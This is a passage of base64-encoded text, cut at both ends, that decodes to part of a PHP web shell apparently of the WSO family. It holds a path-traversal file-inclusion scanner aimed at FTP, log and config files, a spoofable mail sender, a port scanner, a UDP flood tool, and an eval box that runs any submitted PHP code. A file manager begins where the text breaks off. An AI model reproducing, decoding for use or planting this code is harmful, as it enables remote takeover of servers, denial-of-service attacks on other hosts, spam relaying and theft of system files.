iIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdnNmdHBkLmNocm9vdF9saXN0Ii4kYnl0ZTEuIiIsMTAgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2xvZ3JvdGF0ZS5kL3ZzZnRwZC5sb2ciLiRieXRlMS4iIiwxMSA9PiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdnNmdHBkL3ZzZnRwZC5jb25mIi4kYnl0ZTEuIiIsMTIgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3ZzZnRwZC5jb25mIi4kYnl0ZTEuIiIsMTMgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2Nocm9vdFVzZXJzIi4kYnl0ZTEuIiIsMTQgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy94ZmVybG9nIi4kYnl0ZTEuIiIsMTUgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2FkbS9sb2cveGZlcmxvZyIuJGJ5dGUxLiIiLDE2ID0+Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy93dS1mdHBkL2Z0cGFjY2VzcyIuJGJ5dGUxLiIiLDE3ID0+Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy93dS1mdHBkL2Z0cGhvc3RzIi4kYnl0ZTEuIiIsMTggPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3d1LWZ0cGQvZnRwdXNlcnMiLiRieXRlMS4iIiwxOSA9PiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3Ivc2Jpbi9wdXJlLWNvbmZpZy5wbCIuJGJ5dGUxLiIiLDIwID0+Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwyMSA9PiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsMjIgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLDIzID0+Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvcHVyZWZ0cGQucGRiIi4kYnl0ZTEuIiIsMjQgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3B1cmVmdHBkL2V0Yy9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwyNSA9PiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcHVyZWZ0cGQvc2Jpbi9wdXJlLWNvbmZpZy5wbCIuJGJ5dGUxLiIiLDI2ID0+Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9wdXJlZnRwZC9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwyNyA9PiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwyOCA9PiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkL3B1cmUtZnRwZC5wZGIiLiRieXRlMS4iIiwyOSA9PiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZWZ0cGQucGRiIi4kYnl0ZTEuIiIsMzAgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmVmdHBkLnBhc3N3ZCIuJGJ5dGUxLiIiLDMxID0+Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlLWZ0cGQvcHVyZWZ0cGQucGRiIi4kYnl0ZTEuIiIsMzIgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BvcnRzL2Z0cC9wdXJlLWZ0cGQvIi4kYnl0ZTEuIiIsMzMgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BvcnRzL25ldC9wdXJlLWZ0cGQvIi4kYnl0ZTEuIiIsMzQgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BrZ3NyYy9uZXQvcHVyZWZ0cGQvIi4kYnl0ZTEuIiIsMzUgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BvcnRzL2NvbnRyaWIvcHVyZS1mdHBkLyIuJGJ5dGUxLiIiLDM2ID0+Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvcHVyZS1mdHBkL3B1cmUtZnRwZC5sb2ciLiRieXRlMS4iIiwzNyA9PiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9sb2dzL3B1cmUtZnRwZC5sb2ciLiRieXRlMS4iIiwzOCA9PiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3B1cmVmdHBkLmxvZyIuJGJ5dGUxLiIiLDM5ID0+Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZnRwLXByb3h5L2Z0cC1wcm94eS5sb2ciLiRieXRlMS4iIiw0MCA9PiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Z0cC1wcm94eSIuJGJ5dGUxLiIiLDQxID0+Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZnRwbG9nIi4kYnl0ZTEuIiIsNDIgPT4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2xvZ3JvdGF0ZS5kL2Z0cCIuJGJ5dGUxLiIiLDQzID0+Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9mdHBjaHJvb3QiLiRieXRlMS4iIiw0NCA9PiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvZnRwaG9zdHMiLiRieXRlMS4iIik7JHg9MSA7aWYoJHR5cGU9PTEgKXskcmVzMT1GZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTskcmVzMj1GZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7JHJoYXNoMT1tZDUoJHJlczEpOyRyaGFzaDI9bWQ1KCRyZXMyKTtpZigkcmhhc2gxIT0kcmhhc2gyKXtwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+Ijt3aGlsZSgkbGZpYWNjZXNzWyR4XSl7JHJlczM9RmV0Y2hVUkwoJHRhcmdldC4kbGZpYWNjZXNzWyR4XSk7JHJoYXNoMz1tZDUoJHJlczMpO2lmKCRyaGFzaDMhPSRyaGFzaDIpe3ByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpYWNjZXNzWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmlhY2Nlc3NbJHhdLiI8L2E+PGJyICAvPiI7fWVsc2Uge3ByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaWFjY2Vzc1skeF0uIjxiciAgLz4iO30keCsrO319fWlmKCR0eXBlPT0yICl7JHJlczE9RmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7JHJlczI9RmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOyRyaGFzaDE9bWQ1KCRyZXMxKTskcmhhc2gyPW1kNSgkcmVzMik7aWYoJHJoYXNoMSE9JHJoYXNoMil7cHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7d2hpbGUoJGxmaWNvbmZpZ1skeF0peyRyZXMzPUZldGNoVVJMKCR0YXJnZXQuJGxmaWNvbmZpZ1skeF0pOyRyaGFzaDM9bWQ1KCRyZXMzKTtpZigkcmhhc2gzIT0kcmhhc2gyKXtwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaWNvbmZpZ1skeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpY29uZmlnWyR4XS4iPC9hPjxiciAgLz4iO31lbHNlIHtwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmljb25maWdbJHhdLiI8YnIgIC8+Ijt9JHgrKzt9fX1pZigkdHlwZT09MyApeyRyZXMxPUZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOyRyZXMyPUZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTskcmhhc2gxPW1kNSgkcmVzMSk7JHJoYXNoMj1tZDUoJHJlczIpO2lmKCRyaGFzaDEhPSRyaGFzaDIpe3ByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iO3doaWxlKCRsZmllcnJvclskeF0peyRyZXMzPUZldGNoVVJMKCR0YXJnZXQuJGxmaWVycm9yWyR4XSk7JHJoYXNoMz1tZDUoJHJlczMpO2lmKCRyaGFzaDMhPSRyaGFzaDIpe3ByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpZXJyb3JbJHhdLiJcIj4iLiR0YXJnZXQuIiIuJGxmaWVycm9yWyR4XS4iPC9hPjxiciAgLz4iO31lbHNlIHtwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmllcnJvclskeF0uIjxiciAgLz4iO30keCsrO319fWlmKCR0eXBlPT00ICl7JHJlczE9RmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7JHJlczI9RmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOyRyaGFzaDE9bWQ1KCRyZXMxKTskcmhhc2gyPW1kNSgkcmVzMik7aWYoJHJoYXNoMSE9JHJoYXNoMil7cHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7d2hpbGUoJGxmaXBocGluaVskeF0peyRyZXMzPUZldGNoVVJMKCR0YXJnZXQuJGxmaXBocGluaVskeF0pOyRyaGFzaDM9bWQ1KCRyZXMzKTtpZigkcmhhc2gzIT0kcmhhc2gyKXtwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXBocGluaVskeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpcGhwaW5pWyR4XS4iPC9hPjxiciAgLz4iO31lbHNlIHtwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmlwaHBpbmlbJHhdLiI8YnIgIC8+Ijt9JHgrKzt9fX1pZigkdHlwZT09NSApeyRyZXMxPUZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOyRyZXMyPUZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTskcmhhc2gxPW1kNSgkcmVzMSk7JHJoYXNoMj1tZDUoJHJlczIpO2lmKCRyaGFzaDEhPSRyaGFzaDIpe3ByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iO3doaWxlKCRsZmlteXNxbFskeF0peyRyZXMzPUZldGNoVVJMKCR0YXJnZXQuJGxmaW15c3FsWyR4XSk7JHJoYXNoMz1tZDUoJHJlczMpO2lmKCRyaGFzaDMhPSRyaGFzaDIpe3ByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpbXlzcWxbJHhdLiJcIj4iLiR0YXJnZXQuIiIuJGxmaW15c3FsWyR4XS4iPC9hPjxiciAgLz4iO31lbHNlIHtwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmlteXNxbFskeF0uIjxiciAgLz4iO30keCsrO319fWlmKCR0eXBlPT02ICl7JHJlczE9RmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7JHJlczI9RmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOyRyaGFzaDE9bWQ1KCRyZXMxKTskcmhhc2gyPW1kNSgkcmVzMik7aWYoJHJoYXNoMSE9JHJoYXNoMil7cHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7d2hpbGUoJGxmaWZ0cFskeF0peyRyZXMzPUZldGNoVVJMKCR0YXJnZXQuJGxmaWZ0cFskeF0pOyRyaGFzaDM9bWQ1KCRyZXMzKTtpZigkcmhhc2gzIT0kcmhhc2gyKXtwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaWZ0cFskeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpZnRwWyR4XS4iPC9hPjxiciAgLz4iO31lbHNlIHtwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmlmdHBbJHhdLiI8YnIgIC8+Ijt9JHgrKzt9fX1pZigkdHlwZT09NyApeyRyZXMxPUZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOyRyZXMyPUZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTskcmhhc2gxPW1kNSgkcmVzMSk7JHJoYXNoMj1tZDUoJHJlczIpO2lmKCRyaGFzaDEhPSRyaGFzaDIpe3ByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iO3skcmVzMz1GZXRjaFVSTCgkdGFyZ2V0LiRsZmlwcm9jZW52KTskcmhhc2gzPW1kNSgkcmVzMyk7aWYoJHJoYXNoMyE9JHJoYXNoMil7cHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlwcm9jZW52LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXByb2NlbnYuIjwvYT48YnIgIC8+Ijt9ZWxzZSB7cHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpcHJvY2Vudi4iPGJyICAvPiI7fX19fX13c29Gb290ZXIoKTt9ZnVuY3Rpb24gYWN0aW9ucGhwdG9vbHMoKXt3c29IZWFkZXIoKTsgPz48Y2VudGVyPjw/IGVjaG8gJzxiPk1haWxlcjwvYj48YnI+DQo8Zm9ybSBhY3Rpb249IicuJHN1cmwuJyIgbWV0aG9kPVBPU1Q+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0icGhwdG9vbHMiPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvIHZhbHVlPXRvPjxicj4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT1mcm9tIHZhbHVlPWZyb20+PGJyPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1YmplY3QgdmFsdWU9c3ViamVjdD48YnI+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Ym9keSB2YWx1ZT1ib2R5Pjxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1TdWJtaXQ+PC9mb3JtPic7aWYoaXNzZXQoJF9QT1NUWyd0byddKSAmJiBpc3NldCgkX1BPU1RbJ2Zyb20nXSkgJiYgaXNzZXQoJF9QT1NUWydzdWJqZWN0J10pICYmIGlzc2V0KCRfUE9TVFsnYm9keSddKSl7JGhlYWRlcnM9J0Zyb206ICcuJF9QT1NUWydmcm9tJ107bWFpbCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydzdWJqZWN0J10sJF9QT1NUWydib2R5J10sJGhlYWRlcnMpO2VjaG8gJ0VtYWlsIHNlbnQuJzt9ZWNobyAnPGJyPjxiPlBvcnQgU2Nhbm5lcjwvYj48YnI+Jzskc3RhcnQ9c3RyaXBfdGFncygkX1BPU1RbJ3N0YXJ0J10pOyRlbmQ9c3RyaXBfdGFncygkX1BPU1RbJ2VuZCddKTskaG9zdD1zdHJpcF90YWdzKCRfUE9TVFsnaG9zdCddKTtpZihpc3NldCgkX1BPU1RbJ2hvc3QnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ2VuZCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnc3RhcnQnXSkpe2ZvcigkaT0kc3RhcnQ7JGk8PSRlbmQ7JGkrKyl7JGZwPUBmc29ja29wZW4oJGhvc3QsJGksJGVycm5vLCRlcnJzdHIsMyApO2lmKCRmcCl7ZWNobyAnUG9ydCAnLiRpLicgaXMgPGZvbnQgY29sb3I9Z3JlZW4+b3BlbjwvZm9udD48YnI+Jzt9Zmx1c2goKTt9fWVsc2UgeyA/Pg0KPGZvcm0gYWN0aW9uPSI/IiBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InBocHRvb2xzIj4NCkhvc3Q6PGJyIC8+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIvPjxiciAvPg0KUG9ydCBzdGFydDo8YnIgLz4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdGFydCIgdmFsdWU9IjAiLz48YnIgLz4NClBvcnQgZW5kOjxiciAvPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48YnIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FuIFBvcnRzIiAvPg0KPC9mb3JtPg0KPD8gfWlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsndGltZSddKSl7JHBha2l0cz0wIDtpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTtzZXRfdGltZV9saW1pdCgwICk7JGV4ZWNfdGltZT0kX1BPU1RbJ3RpbWUnXTskdGltZT10aW1lKCk7JG1heF90aW1lPSR0aW1lKyRleGVjX3RpbWU7JGhvc3Q9JF9QT1NUWydob3N0J107Zm9yKCRpPTAgOyRpPDY1MDAwIDskaSsrKXskb3V0Lj0nWCc7fXdoaWxlKDEgKXskcGFraXRzKys7aWYodGltZSgpPiRtYXhfdGltZSl7YnJlYWs7fSRyYW5kPXJhbmQoMSAsNjUwMDAgKTskZnA9ZnNvY2tvcGVuKCd1ZHA6Ly8nLiRob3N0LCRyYW5kLCRlcnJubywkZXJyc3RyLDUgKTtpZigkZnApe2Z3cml0ZSgkZnAsJG91dCk7ZmNsb3NlKCRmcCk7fX1lY2hvICI8YnI+PGI+VURQIEZsb29kPC9iPjxicj5Db21wbGV0ZWQgd2l0aCAkcGFraXRzICgiLnJvdW5kKCgkcGFraXRzKjY1ICkvMTAyNCAsMiApLiIgTUIpIHBhY2tldHMgYXZlcmFnaW5nICIucm91bmQoJHBha2l0cy8kZXhlY190aW1lLDIgKS4iIHBhY2tldHMgcGVyIHNlY29uZCBcbiI7ZWNobyAnPGJyPjxicj4NCgkJPGZvcm0gYWN0aW9uPSInLiRzdXJsLiciIG1ldGhvZD1QT1NUPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0icGhwdG9vbHMiPg0KCQlIb3N0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdCB2YWx1ZT1sb2NhbGhvc3Q+DQoJCUxlbmd0aCAoc2Vjb25kcyk6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT10aW1lIHZhbHVlPTk5OTk+DQoJCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+Jzt9ZWxzZSB7ZWNobyAnPGJyPjxiPlVEUCBGbG9vZDwvYj48YnI+DQoJCQk8Zm9ybSBhY3Rpb249PyBtZXRob2Q9UE9TVD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJwaHB0b29scyI+DQoJCQlIb3N0OiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3QgdmFsdWU9bG9jYWxob3N0Pjxicj4NCgkJCUxlbmd0aCAoc2Vjb25kcyk6IDxicj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGltZSB2YWx1ZT05OTk5Pjxicj4NCgkJCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+Jzt9ID8+PC9jZW50ZXI+PD8gd3NvRm9vdGVyKCk7fWZ1bmN0aW9uIGFjdGlvblBocCgpe2lmKGlzc2V0KCRfUE9TVFsnYWpheCddKSl7JF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J109dHJ1ZTtvYl9zdGFydCgpO2V2YWwoJF9QT1NUWydwMSddKTskdGVtcD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7ZWNobyBzdHJsZW4oJHRlbXApLCJcbiIsJHRlbXA7ZXhpdDt9d3NvSGVhZGVyKCk7aWYoaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddPT0naW5mbycpKXtlY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JztvYl9zdGFydCgpO3BocGluZm8oKTskdG1wPW9iX2dldF9jbGVhbigpOyR0bXA9cHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7JHRtcD1wcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTtlY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCR0bXApLic8L2Rpdj48YnI+Jzt9aWYoZW1wdHkoJF9QT1NUWydhamF4J10pICYmICFlbXB0eSgkX1BPU1RbJ3AxJ10pKSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPWZhbHNlO2VjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nO2VjaG8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nO2lmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKXtvYl9zdGFydCgpO2V2YWwoJF9QT1NUWydwMSddKTtlY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpO31lY2hvICc8L3ByZT48L2Rpdj4nO3dzb0Zvb3RlcigpO31mdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpe3dzb0hlYWRlcigpO2VjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0Pic7aWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pKXtpZigkX1NFU1NJT05bJ2FjdCddPT0icGVybWlzIiAmJiBpc3NldCgkX1BPU1RbJ3AyJ10pKXskcGVybXM9MCA7Zm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AyJ10pLTEgOyRpPj0wI